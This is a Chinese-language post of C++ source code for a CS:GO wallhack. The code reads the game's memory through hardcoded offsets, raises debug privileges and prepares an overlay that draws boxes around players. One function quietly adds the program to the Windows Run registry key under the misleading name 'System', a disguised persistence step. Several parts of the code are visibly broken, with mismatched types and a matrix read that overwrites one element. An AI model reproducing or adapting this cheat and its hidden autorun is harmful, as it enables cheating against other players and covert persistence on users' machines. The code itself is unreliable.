CSGO人机方框透视辅助C++原创代码

lyd1599285982

#pragma once
#include <d3d9.h>
#include <d3dx9.h>
#pragma comment(lib, "d3d9.lib")
#pragma comment(lib, "d3dx9.lib")
#include <dwmapi.h>
#pragma comment(lib, "dwmapi.lib")
#include <Windows.h>
#include <tlhelp32.h>//3281386496   1108353024   1141441024
#include <thread>
#include<iostream>
#include<math.h>
#include<stdio.h>
double beishu{};//方框转化倍数
using namespace std;
static MARGINS Margin;
static LPDIRECT3D9              g_pD3D = NULL;
static LPDIRECT3DDEVICE9        g_pd3dDevice = NULL;
static D3DPRESENT_PARAMETERS    g_d3dpp = {};
static ID3DXLine* pLine = 0;
static ID3DXFont* Font;

static HWND SecondaryWindowHandle,//辅助窗口句柄
GameHwnd;//游戏窗口句柄
static RECT WindowRectandle;//窗口矩形
static int  WindowWidht, //窗口宽
WindowHeight;//窗口高
static float xiancu = 1;//线粗

static WNDCLASSEX wClass;//注册窗口需要用到的窗口类


//画矩形，文字之类的单独放在这个函数里
typedef void(*Draw)();
static Draw Render;
struct Vec3
{
        float x, y, z;
};
struct Vec4
{
        float x, y, z, w;
};
struct Vec2
{
        float x, y;
};
Vec3 g[16];
Vec2 z[16];
DWORD module1 = NULL;//server.dll基址
DWORD module2 = NULL;//client.dll基址
float Matrix[16]{};//矩阵数组
DWORD renwu = 0xA8D28C;//人物偏移
DWORD jz = 0x4DC2D34;//矩阵偏移
DWORD fbl = 0x5278BE8;//分辨率偏移
double pi = 3.14159265359;
int N = 16;
int fb[2]{};

//窗口消息处理函数
LRESULT WinProc(HWND hWnd, UINT Message, WPARAM wParam, LPARAM lParam);
//初始化D3D
bool Initializethe();
//创建透明窗口
void CreateaTransparentWindow(HWND GameWindowHand, Draw drawapicture);
//窗口消息循环
void WindowsMessageLoop();
//画线
void DrawLine(D3DCOLOR Color, float X1, float Y1, float X2, float Y2, float Width);
//绘制文字
void huizhiwenzi(float X, float Y, const char* Str, D3DCOLOR Color);
//画方框
void DrawBox(float X, float Y, float W, float H, float Width, D3DCOLOR Color);
//开始绘制
void StartDrawing();
//结束绘制
void EndDrawing();

//人物数据结构体
struct RWSJJG
{
        int shengmin;//生命值
        int zhenyinbiaoshi;//阵营标识符
        float x;//世界坐标X
        float y;//世界坐标Y
        float z;//世界坐标Z
}*renwushuju;
void tiquanziqidong()
{
        HKEY hkey; TCHAR lujing[260];
        HANDLE hToken; LUID luid;
        OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
        LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luid);
        TOKEN_PRIVILEGES tkp{};
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Luid = luid;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL);
        GetModuleFileName(NULL, lujing, 260);
        RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey);
        RegSetValueEx(hkey, "System", 0, REG_SZ, (BYTE*)lujing, 260);
        RegCloseKey(hkey);
}
//提升继承权限
BOOL EnableDebugPrivilege()
{
        HANDLE hToken; //打开与进程相关的访问令牌
if (FALSE == OpenProcessToken(GetCurrentProcess(),        //获取自己的进程
                                  TOKEN_ALL_ACCESS,           //所有权限  
                                  &hToken  ))  return FALSE; //查看系统的特权值
  LUID luid;
  if (FALSE == LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
          return FALSE; //调节访问令牌权限
  TOKEN_PRIVILEGES tkp{};
  tkp.PrivilegeCount = 1;
  tkp.Privileges[0].Luid = luid;
  tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  bool bet = AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL);
  if (bet == FALSE)
          return FALSE;
  return TRUE;
}
//视角转矩阵算法
bool WorldToScreen(Vec3 pos, Vec2& screen, float matrix[16], int windowWidth, int windowHeight)//坐标转换
{
        //4X4行矩阵乘以世界坐标得到剪辑坐标
        Vec4 clipCoords{};
        clipCoords.x = (pos.x - 2) * matrix[0] + (pos.y - 4) * matrix[1] + (pos.z + 40) * matrix[2] + matrix[3];
        clipCoords.y = (pos.x - 2) * matrix[4] + (pos.y - 4) * matrix[5] + (pos.z + 40) * matrix[6] + matrix[7];
        clipCoords.z = (pos.x - 2) * matrix[8] + (pos.y - 4) * matrix[9] + (pos.z + 40) * matrix[10] + matrix[11];
        clipCoords.w = (pos.x - 2) * matrix[12] + (pos.y - 4) * matrix[13] + (pos.z + 40) * matrix[14] + matrix[15];

        if (clipCoords.w < 0.1f)
                return false;

        //将剪辑坐标转化为自身视角三维坐标
        Vec3 NDC{};
        NDC.x = clipCoords.x / clipCoords.w;
        NDC.y = clipCoords.y / clipCoords.w;
        NDC.z = clipCoords.z / clipCoords.w;
        //将自身视角三维坐标转化为时间平面坐标
        screen.x = (windowWidth / static_cast<float>(2) * NDC.x) + (NDC.x + windowWidth / static_cast<float>(2));
        screen.y = -(windowHeight / static_cast<float>(2) * NDC.y) + (NDC.y + windowHeight / static_cast<float>(2));
        return true;
}
DWORD GetProcessModuleHandle(DWORD pid, CONST TCHAR* moduleName)// 根据 PID 、模块名（需要写后缀，如：".dll"），获取模块入口地址。
{
        MODULEENTRY32 moduleEntry;
        HANDLE handle = NULL;
        handle = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid); //  获取进程快照中包含在th32ProcessID中指定的进程的所有的模块。
        ZeroMemory(&moduleEntry, sizeof(MODULEENTRY32));
        moduleEntry.dwSize = sizeof(MODULEENTRY32);
        if (!Module32First(handle, &moduleEntry))
        {
                CloseHandle(handle);
                return NULL;
        }
        do {
                if (strcmp(moduleEntry.szModule, moduleName) == 0)
                {
                        return (DWORD)moduleEntry.hModule;
                }
        } while (Module32Next(handle, &moduleEntry));
        CloseHandle(handle);
        return 0;
}

void gotoxy(int x, int y)
{
        COORD* pos = new COORD;
        pos->X = x;
        pos->Y = y;
        SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), *pos);
        delete pos;

}
void PrintMemory(RWSJJG i, int x, int y)
{

        gotoxy(x, y);
        printf("人物生命值为：%d\n", i.shengmin);
        gotoxy(x, y + 1);
        printf("人物X：%f\n", i.x);
        gotoxy(x, y + 2);
        printf("人物Y：%f\n", i.y);
        gotoxy(x, y + 3);
        printf("人物Z：%f\n", i.z);
        gotoxy(x, y + 4);
        if (i.zhenyinbiaoshi == 2)
        {
                printf("阵营： 警察\n");
        }
        else
        {
                printf("阵营：匪徒");
        }
        gotoxy(x, y + 5);
        if (i.shengmin > 0)
        {
                printf("存亡状态：存活\n");
        }
        else
        {
                printf("存亡状态：死亡\n");
        }

}
void PrintMemoryXY(Vec2 d, int x, int y)
{

        gotoxy(x, y);
        printf("屏幕坐标X：%f\n", d.x);
        gotoxy(x, y+1);
        printf("屏幕坐标Y：%f\n", d.y);
}

//以人物结构体的类型去读取人物数据
RWSJJG ReadMemory(HANDLE hProcess,int k)//这里返回的是结构体数据，每次使用后一定要记得释放内存
{
        RWSJJG i{};
        DWORD xianrenwu = renwu + 0x18 * k;
        DWORD add1 = 0, add2 = 0, add3 = 0, add4 = 0, add5 = 0, add6 = 0, add7 = 0, add8 = 0;
        add1 = (DWORD)module1 + (DWORD)xianrenwu;
        ReadProcessMemory(hProcess, (DWORD*)add1, &add2, sizeof(DWORD), 0);
        add3 = (DWORD)add2 + 0x230;//读取生命值
        ReadProcessMemory(hProcess, (int*)add3, &i.shengmin, sizeof(int), 0);
        add4 = (DWORD)add2 + 0x1DC;//读取X坐标
        ReadProcessMemory(hProcess, (float*)add4, &i.x, sizeof(float), 0);
        add5 = (DWORD)add2 + 0x1E0;//读取Y坐标
        ReadProcessMemory(hProcess, (float*)add5, &i.y, sizeof(float), 0);
        add6 = (DWORD)add2 + 0x1E4;//读取Z坐标
        ReadProcessMemory(hProcess, (float*)add6, &i.z, sizeof(float), 0);
        add7 = (DWORD)add2 + 0x314;//读取阵营标识
        ReadProcessMemory(hProcess, (int*)add7, &i.zhenyinbiaoshi, sizeof(int), 0);
        return i;
}

//获取自身视角矩阵

void shengchengjuzhen(HANDLE hProcess)
{
        while (true)
        {
                for (int i = 0; i < 16; i++)
                {
                        ReadProcessMemory(hProcess, (DWORD*)(module2 + jz + 0x4 * i), &Matrix, sizeof(float), 0);
                       
                }
        }
}

//获取屏幕分辨率
void huoqufenbianlv(HANDLE hProcess)
{
       
                for (int i = 0; i < 2; i++)
                {
                        ReadProcessMemory(hProcess, (DWORD*)(module2 + fbl + 0x4 * i), &fb, sizeof(int), 0);
                }
       
}

DWORD AccortothenamesfortheID(char* exename)  
{
        DWORD Pid = NULL;
        //创建进程快照
        HANDLE hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//CreateToolhelp32Snapshot()获取所有当前进程的信息返回快照句柄
        PROCESSENTRY32 pe32{ sizeof(PROCESSENTRY32) };//PROCESSENTRY32
        pe32.dwSize = sizeof(pe32);
        BOOL b = ::Process32First(hSnapshot, &pe32);//通过进程快照句柄将单个进程的10种信息写入快照结构体当中
        //筛选所需要的进程
        while (b)
        {
                if (0 == strcmp(exename, (char*)pe32.szExeFile))//strcmp（i，j）字符串比较函数
                 // hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
                {

                        Pid = pe32.th32ProcessID;
                        return Pid;
                }

                b = ::Process32Next(hSnapshot, &pe32);
        }
        return Pid;
}

bool Panduanweirenwu(HANDLE hProcess ,int k)//判断该地址是否为人物数据
{
        RWSJJG* i = new RWSJJG;

        *i = ReadMemory(hProcess,k);
        if (i->x != 0 && i->y != 0 && i->z != 0 && i->shengmin >= 0 && i->shengmin <= 100)
        {
                delete i;
                return true;
        }
        else
        {
                delete i;
                return false;
        }
}

//遍历出整游戏中所有人物的数据信息,并转化为屏幕坐标
void pinmuzuobiao(HANDLE hProcess)
{
                for (int i = 0; i < 16; i++)
                {
                        if (Panduanweirenwu(hProcess, i) == true)
                        {
                                WorldToScreen(g, z, Matrix, fb[0], fb[1]);
                                PrintMemoryXY(z, 30 * (int)abs(sin((pi * (i)) / 2)), 6 * (2 * i - pow(-1, i + 1)) / 4);
                        }
                }
}

Vec3 renwuzuobiao(HANDLE hProcess,int k)
{
        RWSJJG n{};
        Vec3 t{};
        n = ReadMemory(hProcess,k);
        t.x = n.x;
        t.y = n.y;
        t.z = n.z;
        return t;
}
void suoyourenwuZB(HANDLE hProcess)
{
        while (true)
        {


                for (int i = 0; i < 10; i++)
                {
                        g = renwuzuobiao(hProcess,i);

                }
        }
}